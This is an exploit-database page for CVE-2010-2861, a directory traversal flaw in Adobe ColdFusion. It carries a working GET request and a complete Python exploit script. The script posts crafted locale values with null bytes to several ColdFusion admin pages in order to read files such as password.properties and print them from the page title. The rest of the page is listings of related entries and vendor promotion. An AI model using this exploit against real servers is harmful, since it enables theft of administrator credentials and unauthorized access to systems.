Lucene search
+L

Adobe ColdFusion - Directory Traversal

🗓️ 14 Aug 2010 00:00:00Reported by anonymousType 
exploitpack
 exploitpack
👁 114 Views

Adobe ColdFusion Directory Traversal vulnerability exploitation scrip

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Adobe ColdFusion Directory Traversal Vulnerability
14 Aug 201000:00
–zdt
zdt
zdt
Adobe ColdFusion - Directory Traversal
17 Mar 201100:00
–zdt
githubexploit
GithubExploit
Exploit for Path Traversal in Adobe Coldfusion
8 Oct 202619:42
–githubexploit
attackerkb
attackerkb
CVE-2010-2861
11 Aug 201000:00
–attackerkb
bdu_fstec
BDU FSTEC
ColdFusion Path Traversal
8 Feb 202300:00
–bdu_fstec
canvas
canvas
Immunity Canvas: CF_DIRECTORY_TRAVERSAL
11 Aug 201018:47
–canvas
circl
Circl
CVE-2010-2861
14 Aug 201000:00
–circl
cisa_kev
CISA KEV Catalog
Adobe ColdFusion Directory Traversal Vulnerability
25 Mar 202200:00
–cisa_kev
cisa
CISA
CISA and Partners Release Advisory on Ghost (Cring) Ransomware
19 Feb 202512:00
–cisa
nessus
Tenable Nessus
Adobe ColdFusion 'locale' Parameter Directory Traversal
16 Aug 201000:00
–nessus
Rows per page
# Working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"


#!/usr/bin/python

# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# detailed information about the exploitation of this vulnerability:
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

# leo 13.08.2010

import sys
import socket
import re

# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")

post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

locale=%%00%s%%00a"""

def main():
    if len(sys.argv) != 4:
        print "usage: %s <host> <port> <file_path>" % sys.argv[0]
        print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
        print "if successful, the file will be printed"
        return
    
    host = sys.argv[1]
    port = sys.argv[2]
    path = sys.argv[3]

    for f in filenames:
        print "------------------------------"
        print "trying", f

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, int(port)))
        s.send(post % (f, host, len(path) + 14, path))

        buf = ""
        while 1:
            buf_s = s.recv(1024)
            if len(buf_s) == 0:
                break
            buf += buf_s
       
        m = re.search('<title>(.*)</title>', buf, re.S)
        if m != None:
            title = m.groups(0)[0]
            print "title from server in %s:" % f
            print "------------------------------"
            print m.groups(0)[0]
            print "------------------------------"

if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation